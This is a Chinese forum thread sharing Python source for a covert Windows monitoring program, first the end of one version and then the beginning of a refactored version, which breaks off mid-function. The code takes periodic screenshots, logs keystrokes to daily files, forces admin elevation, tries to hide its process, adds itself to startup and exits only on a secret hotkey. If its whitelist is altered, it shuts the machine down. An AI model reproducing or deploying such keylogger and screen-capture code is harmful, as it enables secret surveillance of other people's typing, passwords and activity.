            {"name": "Ctrl+Alt+X", "keys": {keyboard.Key.ctrl, keyboard.Key.alt, keyboard.KeyCode.from_char('x')}},
            {"name": "Alt+X", "keys": {keyboard.Key.alt, keyboard.KeyCode.from_char('x')}},
            {"name": "Ctrl+Alt+Q", "keys": {keyboard.Key.ctrl, keyboard.Key.alt, keyboard.KeyCode.from_char('q')}},
            {"name": "Ctrl+Alt+W", "keys": {keyboard.Key.ctrl, keyboard.Key.alt, keyboard.KeyCode.from_char('w')}},
            {"name": "Alt+Shift+X", "keys": {keyboard.Key.alt, keyboard.Key.shift, keyboard.KeyCode.from_char('x')}},
        ]
         
        # 添加自定义热键
        self._load_custom_hotkeys()
         
    def _load_custom_hotkeys(self):
        """加载自定义热键"""
        if not self.config_manager or not self.config_manager.config:
            return
             
        custom_hotkeys = self.config_manager.config.get("custom_hotkeys", [])
        if not custom_hotkeys:
            return
             
        for hotkey in custom_hotkeys:
            if not isinstance(hotkey, dict) or "name" not in hotkey:
                continue
                 
            try:
                key_set = self._parse_hotkey_string(hotkey["name"])
                # 添加到可用热键列表
                if key_set:
                    self.available_hotkeys.insert(0, {"name": hotkey["name"], "keys": key_set})
            except Exception as e:
                log_error(f"[热键管理] 解析自定义热键失败: {hotkey['name']}, 错误: {str(e)}")
         
        # 设置首选热键优先级
        self._set_preferred_hotkey_priority()
     
    def _parse_hotkey_string(self, hotkey_str):
        """解析热键字符串为键集合"""
        key_set = set()
        name_parts = hotkey_str.split('+')
         
        # 解析修饰键
        for part in name_parts[:-1]:
            part = part.strip().lower()
            if part == "ctrl":
                key_set.add(keyboard.Key.ctrl)
            elif part == "alt":
                key_set.add(keyboard.Key.alt)
            elif part == "shift":
                key_set.add(keyboard.Key.shift)
            elif part == "win":
                key_set.add(keyboard.Key.cmd)
         
        # 解析主键
        main_key = name_parts[-1].strip().lower()
        if len(main_key) == 1:
            key_set.add(keyboard.KeyCode.from_char(main_key))
             
        return key_set
     
    def _set_preferred_hotkey_priority(self):
        """设置首选热键优先级"""
        if not self.config_manager or not self.config_manager.config:
            return
             
        preferred_hotkey = self.config_manager.config.get("preferred_hotkey", "")
        if preferred_hotkey:
            # 将首选热键移到列表最前
            for i, hotkey in enumerate(self.available_hotkeys):
                if hotkey["name"] == preferred_hotkey:
                    self.available_hotkeys.insert(0, self.available_hotkeys.pop(i))
                    break
         
    def start(self):
        """启动热键管理器"""
        logging.info("[热键管理] 开始初始化热键管理器")
        if not self.check_hotkey_available():
            log_error("[热键管理] 没有可用的热键组合")
            return False
         
        # 确保全局变量设置正确
        global CURRENT_HOTKEY_COMBO
        CURRENT_HOTKEY_COMBO = next((combo for combo in self.available_hotkeys if combo["name"] == self.current_hotkey), None)
         
        # 启动键盘监听
        self.running = True
        start_keyboard_monitor()
         
        logging.info(f"[热键管理] 热键管理器已启动,当前热键: {self.current_hotkey}")
         
        # 保存已成功注册的热键作为首选热键
        if self.config_manager and self.current_hotkey:
            self.config_manager.set_preferred_hotkey(self.current_hotkey)
             
        # 启动监控线程
        self.key_monitor_thread = threading.Thread(target=self._monitor_keyboard_listener, daemon=True)
        self.key_monitor_thread.start()
             
        return True
         
    def check_hotkey_available(self):
        """检查热键是否可用"""
        try:
            logging.info("[热键管理] 开始检查可用热键组合")
             
            if not self.available_hotkeys:
                log_error("[热键管理] 没有定义热键组合")
                return False
                 
            # 直接选择第一个热键
            self.current_hotkey = self.available_hotkeys[0]["name"]
            logging.info(f"[热键管理] 选择热键: {self.current_hotkey}")
            return True
             
        except Exception as e:
            log_error(f"[热键管理] 检查热键可用性失败: {str(e)}", e)
            return False
             
    def _monitor_keyboard_listener(self):
        """监控键盘监听器是否活跃"""
        retry_count = 0
         
        while self.running and not exit_event.is_set():
            try:
                # 检查键盘监听器是否活跃
                if KEY_LISTENER is None or not KEY_LISTENER.is_alive():
                    retry_count += 1
                    logging.warning(f"[热键管理] 键盘监听器已停止,尝试重启 ({retry_count})")
                    start_keyboard_monitor()
                     
                    # 如果重试超过5次,尝试强制检查热键状态
                    if retry_count >= 5:
                        check_for_key_combination()
                 
                # 每5秒输出一次热键状态
                if retry_count % 10 == 0 and retry_count > 0:
                    logging.info(f"[热键管理] 热键状态: 已设置={self.current_hotkey}, 监听器活跃={KEY_LISTENER and KEY_LISTENER.is_alive()}")
                    retry_count = 0
                 
                # 等待一段时间再检查
                time.sleep(0.5)
                 
            except Exception as e:
                log_error(f"[热键管理] 监控键盘监听器时出错: {str(e)}", e)
                time.sleep(1)
     
    def stop(self):
        """停止热键管理器"""
        logging.info("[热键管理] 正在停止热键管理器")
        self.running = False
         
        # 停止键盘监听
        stop_keyboard_monitor()
         
        if self.key_monitor_thread and self.key_monitor_thread.is_alive():
            try:
                self.key_monitor_thread.join(timeout=1.0)
            except Exception as e:
                log_error(f"[热键管理] 停止监控线程失败: {str(e)}")
         
        logging.info("[热键管理] 热键管理器已停止")
 
# 恢复ConfigManager类
class ConfigManager:
    """配置管理器类,处理配置文件的加载和保存"""
    def __init__(self):
        self.config = None
        self.config_path = None
        self.default_config = {
            "white_list": ['微信', 'WeChat', '聊天文件', '朋友圈'],
            "save_path": "D:/doc/pcmon",
            "sleep_time": 5,
            "keylogger_enabled": False,
            "keylogger_respect_whitelist": True,
            "auto_start": False,
            "preferred_hotkey": "",  # 首选热键,为空则自动选择可用热键
            "custom_hotkeys": []     # 自定义热键列表
        }
         
    def load(self):
        """加载配置"""
        config_dir = os.path.join(get_app_path(), 'config')
        self.config_path = os.path.join(config_dir, 'config.json')
         
        os.makedirs(config_dir, exist_ok=True)
 
        # 如果配置文件不存在,创建默认配置
        if not os.path.exists(self.config_path):
            self._create_default_config()
            return self.config
 
        try:
            with open(self.config_path, 'r', encoding='utf-8') as f:
                config = json.load(f)
                # 确保所有必要的配置项都存在
                if not all(key in config for key in self.default_config):
                    config = {**self.default_config, **config}
                    self._save_config(config)
                self.config = config
                return config
        except Exception as e:
            log_error(f"加载配置文件失败: {str(e)}")
            self.config = self.default_config
            return self.default_config
     
    def _create_default_config(self):
        """创建默认配置文件"""
        try:
            with open(self.config_path, 'w', encoding='utf-8') as f:
                json.dump(self.default_config, f, ensure_ascii=False, indent=4)
                logging.info("已创建默认配置文件")
                self.config = self.default_config
        except Exception as e:
            log_error(f"创建默认配置文件失败: {str(e)}")
            self.config = self.default_config
             
    def _save_config(self, config):
        """内部保存配置方法"""
        try:
            with open(self.config_path, 'w', encoding='utf-8') as f:
                json.dump(config, f, ensure_ascii=False, indent=4)
            return True
        except Exception as e:
            log_error(f"保存配置文件失败: {str(e)}")
            return False
             
    def save(self):
        """保存当前配置"""
        if self.config and self.config_path:
            return self._save_config(self.config)
        return False
         
    def set_preferred_hotkey(self, hotkey_name):
        """设置首选热键"""
        if self.config:
            self.config["preferred_hotkey"] = hotkey_name
            return self.save()
        return False
 
# 添加ScreenshotManager类定义
class ScreenshotManager:
    """截图管理器类,负责管理截图任务"""
    def __init__(self, save_path, interval):
        self.save_path = save_path
        self.interval = interval
        self.task_queue = queue.Queue()
        self.running = False
        self.thread = None
        self.worker_thread = None
        self.MEMORY_OPTIMIZE_INTERVAL = 300
         
    def start(self):
        """启动截图管理器"""
        logging.info("[截图管理] 启动截图管理器")
        self.running = True
         
        # 启动截图处理线程
        self.thread = threading.Thread(target=self._process_queue, daemon=True)
        self.thread.start()
         
        # 创建今日目录
        today = datetime.now().strftime('%Y-%m-%d')
        save_dir = os.path.join(self.save_path, today)
        os.makedirs(save_dir, exist_ok=True)
         
        logging.info(f"[截图管理] 截图管理器已启动,保存目录: {save_dir}")
        return True
         
    def stop(self):
        """停止截图管理器"""
        logging.info("[截图管理] 停止截图管理器")
        self.running = False
         
        if self.thread and self.thread.is_alive():
            try:
                self.thread.join(timeout=2.0)
                logging.info("[截图管理] 截图处理线程已停止")
            except Exception as e:
                log_error(f"[截图管理] 停止截图处理线程失败: {str(e)}")
         
        logging.info("[截图管理] 截图管理器已停止")
         
    def add_task(self, window_title, save_dir):
        """添加截图任务"""
        try:
            # 确保目录存在
            os.makedirs(save_dir, exist_ok=True)
             
            # 生成文件名
            timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
            filename = f"screenshot_{timestamp}.png"
            filepath = os.path.join(save_dir, filename)
             
            # 将任务加入队列
            self.task_queue.put((window_title, filepath))
             
            return True
        except Exception as e:
            log_error(f"[截图管理] 添加截图任务失败: {str(e)}")
            return False
             
    def _process_queue(self):
        """处理截图队列"""
        while self.running:
            try:
                # 检查队列是否为空
                if self.task_queue.empty():
                    time.sleep(0.1)
                    continue
                     
                # 获取任务
                window_title, filepath = self.task_queue.get(block=False)
                 
                # 执行截图
                self._take_screenshot(window_title, filepath)
                 
                # 标记任务完成
                self.task_queue.task_done()
                 
            except queue.Empty:
                time.sleep(0.1)
            except Exception as e:
                log_error(f"[截图管理] 处理截图队列出错: {str(e)}")
                time.sleep(0.5)
                 
    def _take_screenshot(self, window_title, filepath):
        """执行截图操作"""
        global IS_TAKING_SCREENSHOT, KEYBOARD_STATE_BEFORE_SCREENSHOT, KEYBOARD_STATE_AFTER_SCREENSHOT
         
        try:
            # 设置正在截图标志
            IS_TAKING_SCREENSHOT = True
             
            # 记录截图前键盘状态(如果需要记录)
            if 'KEYBOARD_STATE_BEFORE_SCREENSHOT' in globals():
                KEYBOARD_STATE_BEFORE_SCREENSHOT = GLOBAL_KEYS_PRESSED.copy() if GLOBAL_KEYS_PRESSED else set()
             
            # 检查目录是否存在
            save_dir = os.path.dirname(filepath)
            if not os.path.exists(save_dir):
                os.makedirs(save_dir, exist_ok=True)
             
            # 使用PIL截图
            screenshot = ImageGrab.grab()
            screenshot.save(filepath)
             
            # 记录截图后键盘状态(如果需要记录)
            if 'KEYBOARD_STATE_AFTER_SCREENSHOT' in globals():
                KEYBOARD_STATE_AFTER_SCREENSHOT = GLOBAL_KEYS_PRESSED.copy() if GLOBAL_KEYS_PRESSED else set()
             
            # 记录截图信息
            logging.info(f"[截图管理] 截图已保存: {filepath}, 窗口: {window_title}")
             
            return True
        except Exception as e:
            log_error(f"[截图管理] 截图失败: {str(e)}")
            return False
        finally:
            # 无论如何,重置正在截图标志
            IS_TAKING_SCREENSHOT = False
 
# 添加create_backup_hotkey_listener函数
def create_backup_hotkey_listener():
    """创建备用热键监听器"""
    try:
        # 尝试创建系统级热键
        hwnd = win32gui.CreateWindow(
            "STATIC"# 使用内置窗口类
            None,
            win32con.WS_OVERLAPPED,
            0, 0, 0, 0,
            0,
            0,
            win32api.GetModuleHandle(None),
            None
        )
         
        if hwnd:
            # 注册系统热键 - Ctrl+Alt+X
            if ctypes.windll.user32.RegisterHotKey(hwnd, 1, MOD_CONTROL | MOD_ALT, ord('X')):
                logging.info("[备用热键] 系统级热键注册成功")
                 
                # 启动消息处理线程
                def msg_loop():
                    try:
                        msg = MSG()
                        while not exit_event.is_set():
                            if ctypes.windll.user32.PeekMessageW(ctypes.byref(msg), hwnd, 0, 0, 1):
                                if msg.message == WM_HOTKEY:
                                    logging.info("[备用热键] 检测到系统级热键")
                                    handle_exit_hotkey()
                                ctypes.windll.user32.TranslateMessage(ctypes.byref(msg))
                                ctypes.windll.user32.DispatchMessageW(ctypes.byref(msg))
                            time.sleep(0.1)
                    except Exception as e:
                        log_error(f"[备用热键] 消息循环异常: {str(e)}")
                 
                threading.Thread(target=msg_loop, daemon=True).start()
                return hwnd
            else:
                logging.warning("[备用热键] 系统级热键注册失败,尝试使用pynput备用")
                win32gui.DestroyWindow(hwnd)
                 
        # 如果系统级热键失败,使用pynput作为备用
        def on_press(key):
            try:
                if key == keyboard.Key.esc:
                    logging.info("[备用热键] 检测到ESC键")
                    handle_exit_hotkey()
                    return False
            except Exception as e:
                log_error(f"[备用热键] 处理按键异常: {str(e)}")
                 
        backup_listener = keyboard.Listener(on_press=on_press)
        backup_listener.daemon = True
        backup_listener.start()
        logging.info("[备用热键] 使用pynput备用热键监听器")
        return backup_listener
         
    except Exception as e:
        log_error(f"[备用热键] 创建备用热键监听器失败: {str(e)}")
        return None
 
def main():
    """程序主函数,包含主要的初始化和执行逻辑"""
    global SLEEP_TIME, white_list, KEYLOGGER_ENABLED, KEYLOGGER_RESPECT_WHITELIST, SAVE_PATH
    global MEMORY_OPTIMIZE_INTERVAL, IS_TAKING_SCREENSHOT
    global KEYBOARD_STATE_BEFORE_SCREENSHOT, KEYBOARD_STATE_AFTER_SCREENSHOT
     
    # 初始化局部变量
    screenshot_manager = None
    hotkey_manager = None
    keyboard_listener = None
    backup_hotkey_hwnd = None
     
    try:
        # 解析命令行参数
        parser = argparse.ArgumentParser(description="电脑监控程序")
        parser.add_argument("--sleep", type=int, default=5, help="截屏间隔时间 默认5秒")
        parser.add_argument("--save_path", type=str, default=None, help="图片文件存储地址")
        parser.add_argument("--white_list", type=str, default="", help="应用白名单 按,分割传入 默认为空")
        parser.add_argument("--keylog", action="store_true", help="启用键盘记录功能")
        args, _ = parser.parse_known_args()
         
        logging.info("电脑监控程序启动中...")
         
        # 先加载配置 - 使用ConfigManager替代全局load_config
        config_manager = ConfigManager()
        config = config_manager.load()
         
        # 确保保存路径存在并可写入
        if args.save_path:
            SAVE_PATH = args.save_path
        else:
            # 尝试使用配置中的路径
            SAVE_PATH = config.get('save_path', os.path.join(os.path.dirname(os.path.abspath(__file__)), "data"))
             
        # 确保保存目录存在
        os.makedirs(SAVE_PATH, exist_ok=True)
         
        # 初始化日志系统
        setup_logging(SAVE_PATH)
        logging.info(f"日志系统初始化完成,保存路径: {SAVE_PATH}")
         
        # 检查管理员权限
        if not is_admin():
            logging.warning("程序需要管理员权限才能正常运行")
            run_as_admin()
            sys.exit()
         
        # 设置程序参数
        SLEEP_TIME = args.sleep if args.sleep != 5 else config.get('sleep_time', 5)
         
        # 使用配置文件中的保存路径
        configPath = config.get('save_path', SAVE_PATH)
        try:
            if not os.path.exists(configPath):
                os.makedirs(configPath, exist_ok=True)
            # 测试写入权限
            test_file = os.path.join(configPath, "test_write.tmp")
            with open(test_file, 'w') as f:
                f.write("test")
            os.remove(test_file)
            SAVE_PATH = configPath
            # 更新配置
            config["save_path"] = SAVE_PATH
            # 重新设置日志系统使用正确的路径
            setup_logging(SAVE_PATH)
        except Exception as e:
            log_error(f"配置路径不可用: {str(e)}")
             
        logging.info(f"使用保存路径: {SAVE_PATH}")
        # 再次确保保存目录存在
        today = datetime.now().strftime('%Y-%m-%d')
        daily_dir = os.path.join(SAVE_PATH, today)
        os.makedirs(daily_dir, exist_ok=True)
         
        # 设置白名单
        WHITE_LIST = args.white_list
        white_list = config.get('white_list', ['微信', 'WeChat', '聊天文件', '朋友圈'])
        if WHITE_LIST:
            str_list = WHITE_LIST.split(",")
            white_list = list(set(str_list + white_list))
            # 更新配置
            config["white_list"] = white_list
             
        # 设置键盘记录
        # 重要:优先命令行参数,其次是配置文件
        # 命令行参数启用时会更新配置,确保设置持久化
        should_save_config = False
         
        if args.keylog:  # 命令行参数优先
            KEYLOGGER_ENABLED = True
            if not config.get('keylogger_enabled', False):
                # 如果配置里是False但命令行要求启用,则更新配置
                config["keylogger_enabled"] = True
                should_save_config = True
                logging.info("通过命令行启用键盘记录,并保存到配置")
        else# 尊重配置文件设置
            KEYLOGGER_ENABLED = config.get('keylogger_enabled', False)
            logging.info(f"根据配置文件设置键盘记录状态: {KEYLOGGER_ENABLED}")
             
        KEYLOGGER_RESPECT_WHITELIST = config.get('keylogger_respect_whitelist', True)
         
        # 如果需要,保存配置更新
        if should_save_config:
            config_manager.config = config
            if config_manager.save():
                logging.info("配置已更新并保存")
            else:
                logging.warning("配置保存失败")
 
        # 隐藏进程
        hide_process()
         
        # 初始化热键管理器
        hotkey_manager = HotkeyManager(config_manager)
        if not hotkey_manager.start():
            show_hotkey_conflict_message()
            sys.exit(1)
             
        # 启动备用热键监听器
        backup_hotkey_hwnd = create_backup_hotkey_listener()
         
        # 显示启动信息
        show_startup_message(config, hotkey_manager)
        logging.info(f"截图服务启动 - 保存路径: {SAVE_PATH}, 间隔时间: {SLEEP_TIME}秒")
        logging.info(f"当前白名单: {white_list}")
        logging.info(f"键盘记录功能: {'已启用' if KEYLOGGER_ENABLED else '已禁用'}")
        logging.info(f"退出快捷键: {hotkey_manager.current_hotkey}")
         
        # 初始化截图管理器
        screenshot_manager = ScreenshotManager(SAVE_PATH, SLEEP_TIME)
        screenshot_manager.start()
         
        # 启动键盘记录器(如果启用)
        if KEYLOGGER_ENABLED:
            keyboard_listener = start_keylogger(SAVE_PATH, KEYLOGGER_RESPECT_WHITELIST)
         
        # 如果配置要求,添加到开机自启动
        add_to_startup(config)
         
        # 运行主循环
        run_main_loop(screenshot_manager)
             
    except KeyboardInterrupt:
        logging.info("程序被中断")
    except Exception as e:
        log_error(f"程序发生严重错误: {str(e)}", e)
    finally:
        # 清理资源
        cleanup_resources(screenshot_manager, hotkey_manager, keyboard_listener, backup_hotkey_hwnd)
 
 
if __name__ == "__main__":
    # 配置日志
    log_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), "pcmon.log")
    logging.basicConfig(
        level=logging.INFO,
        format="%(asctime)s - %(levelname)s - %(message)s",
        handlers=[
            logging.FileHandler(log_file, encoding="utf-8"),
            logging.StreamHandler()
        ]
    )
     
    # 开始执行主程序
    logging.info("程序启动")
     
    try:
        # 在主函数中重置全局变量
        GLOBAL_KEYS_PRESSED.clear()  # 清空全局按键集合
        exit_event.clear()  # 重置退出事件
         
        main()
    except Exception as e:
        log_error("程序启动失败", e)
        logging.critical(f"程序意外退出: {str(e)}")
        # 输出到控制台以确保用户能看到错误
        print(f"程序发生严重错误: {str(e)}")
        input("按任意键退出..."# 防止程序立即关闭
        sys.exit(1)

免费评分

参与人数 4吾爱币 +8 热心值 +3 收起 理由
cwldy + 1 谢谢@Thanks!
苏紫方璇 + 5 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
zylz9941 + 1 + 1 谢谢@Thanks!
xjtpolice + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| top777 发表于 2025-4-2 15:52
本帖最后由 top777 于 2025-4-2 16:11 编辑

针对帖子https://www.52pojie.cn/thread-2020901-1-1.html的plus版优化如下:
1. 代码结构与模块化
类结构化:将功能分解为多个类,每个类负责特定职责
ConfigManager:配置管理
LogManager:日志管理
SystemManager:系统级操作
WindowManager:窗口相关操作
ScreenshotManager:截图功能
KeyboardManager:键盘监控
Application:主应用类,整合各模块
统一的全局状态:使用GlobalState类管理全局变量,避免散乱的全局变量
2. 性能优化
队列管理:添加队列大小限制,防止内存溢出
资源清理:增强了资源释放和垃圾回收机制
定时内存优化:使用常量控制优化间隔,更精确
3. 错误处理
统一的错误处理:在所有关键操作中添加更完善的异常处理
日志管理:改进日志系统,确保正确关闭日志处理器
4. 安全性改进
白名单验证:使用更安全的方法验证白名单完整性
系统命令监控:改进关机命令检测
5. 用户界面友好性
命令行参数:优化命令行参数解析,提供更清晰的帮助信息
状态反馈:提供更详细的程序状态日志
6. 可维护性提升
常量定义:集中管理常量,便于修改和维护
方法分组:相关功能集中在各自的类中
代码注释:添加更详细的函数和类文档
这些优化使代码更加健壮、可维护,并遵循了面向对象的设计原则。程序现在有更清晰的结构,各个组件之间的耦合度更低,便于未来扩展和修改。
PS:cursor真是个好打工人,将500多行代码增加到700多行,可惜老板不算计量工资....
[Python] 纯文本查看 复制代码
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
import argparse
import os
import sys
import time
import logging
import json
import gc
import threading
import queue
import subprocess
from datetime import datetime
from ctypes import wintypes
import ctypes
 
# 第三方库
import psutil
import win32api
import win32con
import win32gui
import win32process
import win32security
import winreg
from PIL import ImageGrab
from pynput import keyboard
from concurrent.futures import ThreadPoolExecutor
import pyperclip  # 剪切板操作模块
 
# 进程控制相关常量
PROCESS_ALL_ACCESS = 0x1F0FFF
PROCESS_VM_READ = 0x0010
PROCESS_VM_WRITE = 0x0020
PROCESS_VM_OPERATION = 0x0008
PROCESS_QUERY_INFORMATION = 0x0400
 
# 应用配置常量
DEFAULT_SLEEP_TIME = 5
DEFAULT_SAVE_PATH = "D:/doc/local"
DEFAULT_WHITE_LIST = ['微信', 'WeChat', '聊天文件', '朋友圈']
MEMORY_OPTIMIZE_INTERVAL = 300  # 内存优化间隔(秒)
 
# 系统控制常量
COMMAND_EXIT = "exit"       # 暂停监控
COMMAND_OPEN = "open"       # 恢复监控
COMMAND_FILE = "file"       # 打开文件夹
COMMAND_HIDE = "hide"       # 隐藏文件夹
COMMAND_CLEAN = "clean"     # 清理今日记录
COMMAND_FORMAT = "format"   # 清理所有记录
COMMAND_SHUTDOWN = "shutdown"  # 关机
 
# 全局状态变量
class GlobalState:
    """全局状态管理类"""
    def __init__(self):
        # 监控状态
        self.is_listening = True         # 键盘监听状态
        self.is_screenshotting = True    # 截图状态
        self.shutdown_in_progress = False  # 关机状态
         
        # 用户输入状态
        self.current_input = ""          # 当前输入的命令
        self.last_clipboard_content = "" # 上次剪贴板内容
         
        # 配置信息
        self.save_path = DEFAULT_SAVE_PATH
        self.sleep_time = DEFAULT_SLEEP_TIME
        self.white_list = DEFAULT_WHITE_LIST.copy()
        self.keylogger_enabled = True
        self.keylogger_respect_whitelist = True
         
        # 资源
        self.screenshot_queue = queue.Queue(maxsize=10# 限制队列大小避免内存溢出
        self.executor = ThreadPoolExecutor(max_workers=2)
 
# 创建全局状态实例
g_state = GlobalState()
 
# 创建线程池
executor = ThreadPoolExecutor(max_workers=2)
 
# 创建截图队列
screenshot_queue = queue.Queue()
 
# 全局变量,用于控制监听和截图
is_listening = True
is_screenshotting = True
 
# 用于记录连续输入的按键
current_input = ""
 
# 全局变量,用于控制关机倒计时
shutdown_in_progress = False
 
# 添加全局变量,用于记录上次剪切板内容
last_clipboard_content = ""
 
class ConfigManager:
    """配置管理类,负责加载和保存配置"""
    def __init__(self):
        self.config_path = ""
        self.config = {}
         
    def get_app_path(self):
        """获取应用程序路径"""
        if getattr(sys, 'frozen', False):
            # 打包后的路径
            return os.path.dirname(sys.executable)
        # 开发环境路径
        return os.path.dirname(os.path.abspath(__file__))
         
    def load_config(self):
        """加载配置文件"""
        self.config_path = os.path.join(self.get_app_path(), 'config.json')
        default_config = {
            "white_list": DEFAULT_WHITE_LIST,
            "save_path": DEFAULT_SAVE_PATH,
            "sleep_time": DEFAULT_SLEEP_TIME,
            "keylogger_enabled": True,
            "keylogger_respect_whitelist": True
        }
         
        # 如果配置文件不存在,创建默认配置
        if not os.path.exists(self.config_path):
            return self._create_default_config(default_config)
 
        try:
            with open(self.config_path, 'r', encoding='utf-8') as f:
                config = json.load(f)
                # 确保所有必需的配置项都存在
                if not all(key in config for key in default_config):
                    config = {**default_config, **config}
                    self._save_config(config)
                self.config = config
                return config
        except Exception as e:
            logging.error(f"加载配置文件失败: {str(e)}")
            self.config = default_config
            return default_config
     
    def _create_default_config(self, default_config):
        """创建默认配置文件"""
        try:
            with open(self.config_path, 'w', encoding='utf-8') as f:
                json.dump(default_config, f, ensure_ascii=False, indent=4)
                logging.info("已创建默认配置文件")
                self.config = default_config
                return default_config
        except Exception as e:
            logging.error(f"创建默认配置文件失败: {str(e)}")
            self.config = default_config
            return default_config
             
    def _save_config(self, config):
        """保存配置"""
        try:
            with open(self.config_path, 'w', encoding='utf-8') as f:
                json.dump(config, f, ensure_ascii=False, indent=4)
            return True
        except Exception as e:
            logging.error(f"保存配置文件失败: {str(e)}")
            return False
             
    def validate_white_list(self):
        """验证白名单是否被篡改"""
        # 检查白名单是否包含所有默认项
        current_white_list = set(self.config.get("white_list", []))
        original_white_list = set(DEFAULT_WHITE_LIST)
         
        # 检查所有默认白名单项是否存在
        if not original_white_list.issubset(current_white_list):
            logging.error("检测到白名单被篡改,系统将于60秒后自动关机")
            ctypes.windll.user32.MessageBoxW(0, "检测到白名单被篡改,系统将于60秒后自动关机", "警告", 0)
            os.system("shutdown /s /t 60")
            return False
        return True
             
    def update_global_state(self):
        """根据配置更新全局状态"""
        g_state.save_path = self.config.get("save_path", DEFAULT_SAVE_PATH)
        g_state.sleep_time = self.config.get("sleep_time", DEFAULT_SLEEP_TIME)
        g_state.white_list = self.config.get("white_list", DEFAULT_WHITE_LIST.copy())
        g_state.keylogger_enabled = self.config.get("keylogger_enabled", True)
        g_state.keylogger_respect_whitelist = self.config.get("keylogger_respect_whitelist", True)
 
class LogManager:
    """日志管理类,负责配置和管理日志"""
    @staticmethod
    def setup_logging(save_path):
        """配置日志系统"""
        today = datetime.now().strftime('%Y-%m-%d')
        log_dir = os.path.join(save_path, today)
        os.makedirs(log_dir, exist_ok=True)
     
        # 重置之前的日志处理器
        for handler in logging.root.handlers[:]:
            logging.root.removeHandler(handler)
     
        # 创建文件处理器
        file_handler = logging.FileHandler(
            os.path.join(log_dir, 'screenshot.log'),
            encoding='utf-8',
            mode='a'
        )
        # 创建控制台处理器
        console_handler = logging.StreamHandler(sys.stdout)
     
        # 设置格式
        formatter = logging.Formatter('%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S')
        file_handler.setFormatter(formatter)
        console_handler.setFormatter(formatter)
     
        # 确保日志文件以UTF-8 BOM格式写入
        if os.path.exists(os.path.join(log_dir, 'screenshot.log')):
            with open(os.path.join(log_dir, 'screenshot.log'), 'a', encoding='utf-8') as f:
                if os.path.getsize(os.path.join(log_dir, 'screenshot.log')) == 0:
                    f.write('\ufeff'# 添加BOM标记
        else:
            with open(os.path.join(log_dir, 'screenshot.log'), 'w', encoding='utf-8') as f:
                f.write('\ufeff'# 添加BOM标记
     
        # 配置根日志记录器
        logging.root.setLevel(logging.INFO)
        logging.root.addHandler(file_handler)
        logging.root.addHandler(console_handler)
         
    @staticmethod
    def shutdown_logging():
        """安全关闭所有日志处理器"""
        logging.shutdown()
        for handler in logging.root.handlers[:]:
            handler.close()
            logging.root.removeHandler(handler)
             
    @staticmethod
    def get_keylog_file(save_path):
        """获取键盘记录文件路径"""
        today = datetime.now().strftime('%Y-%m-%d')
        save_dir = os.path.join(save_path, today)
        os.makedirs(save_dir, exist_ok=True)
        return os.path.join(save_dir, 'keylog.txt')
 
 
class SystemManager:
    """系统管理类,负责系统级操作"""
    @staticmethod
    def hide_process():
        """隐藏当前进程"""
        try:
            # 获取当前进程ID
            current_pid = win32api.GetCurrentProcessId()
            # 获取进程句柄
            handle = win32api.OpenProcess(PROCESS_ALL_ACCESS, False, current_pid)
            # 设置进程优先级为低
            win32process.SetPriorityClass(handle, win32process.BELOW_NORMAL_PRIORITY_CLASS)
            # 关闭句柄
            win32api.CloseHandle(handle)
            logging.info("进程已隐藏")
        except Exception as e:
            logging.error(f"隐藏进程失败: {str(e)}")
     
    @staticmethod
    def optimize_memory():
        """优化内存使用"""
        try:
